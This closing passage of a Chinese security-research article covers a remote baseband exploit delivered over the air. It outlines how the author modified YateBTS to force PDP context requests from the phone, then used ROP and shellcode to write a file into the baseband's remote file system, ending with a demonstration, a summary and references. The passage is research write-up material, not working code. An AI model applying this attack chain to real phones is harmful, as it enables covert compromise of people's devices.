阅读3GPP标准更多的内容之后，发现通过给手机发送‘REQUEST PDP CONTEXT ACTIVATION ‘信令可以之后，可以强制手机发送’
ACTIVATE PDP CONTEXT REQUEST ‘。
于是攻击流程变为下图所示。
为了实施攻击，需要修改YateBTS的代码，添加实现发送‘REQUEST PDP CONTEXT ACTIVATION‘的代码。需要改动的是
mbts/SGSNGGSN/Ggsn.cpp文件。
由于arm cache-fu的限制，在payload的一阶段需要ROP，之后将相应的shellcode拷贝到特定的可读写执行(RWX)内存区域，然后做一次cache刷新，包括i-cache(指令cache)，d-cache(数据cache)。后面的事情就是跳转去执行shellcode了。
Shellcode可以做任何事情，但为了更好的演示效果，Amat挑选的是通过在RFS（Remote file system， 用于给基带存储NV
信息，在Android上可以访问）写入一个文件。
当然payload也可以做别的事情，比如插入一个调试器，以便更好的分析其他漏洞。
### 7.6 漏洞演示
通过空口远程攻击基带，实现在RFS中写入一个文件，并在Android端查看文件，下面的图片显示漏洞利用成功。
## 八、总结
基带漏洞挖掘虽然对安全研究员的基本功要求很高，需要熟练掌握处理器原理，操作系统原理相关知识，以及熟练的二进制分析及漏洞利用技巧，但是并不需要过多的通信专业知识。如果阅读此文的小伙伴们，有坚实的二进制分析功底，也对基带漏洞挖掘有浓厚兴趣，可以发简历至[email protected]。
## 九、参考文献
[1] Yuwei Zheng , Lin Huang, Ghost telephonist’ link hijack exploitations in
4g lte cs fallback <https://www.blackhat.com/docs/us-17/thursday/us-17-Yuwei-Ghost-Telephonist-Link-Hijack-Exploitations-In-4G-LTE-CS-Fallback.pdf>
[2] Nico Golde ,Breaking Band–reverse engineering and exploiting the shannon
baseband <https://comsecuris.com/slides/recon2016-breaking_band.pdf>
[3] Lin Huang, Forcing Targeted _LTE_ Cellphone into Unsafe Network,
<https://conference.hitb.org/hitbsecconf2016ams/materials/D1T1%20-%20Lin%20Huang%20-%20Forcing%20a%20Targeted%20LTE%20Cellphone%20into%20an%20Eavesdropping%20Network.pdf>
审核人：Atoo 编辑：少爷 | 社区文章 |
Subsets and Splits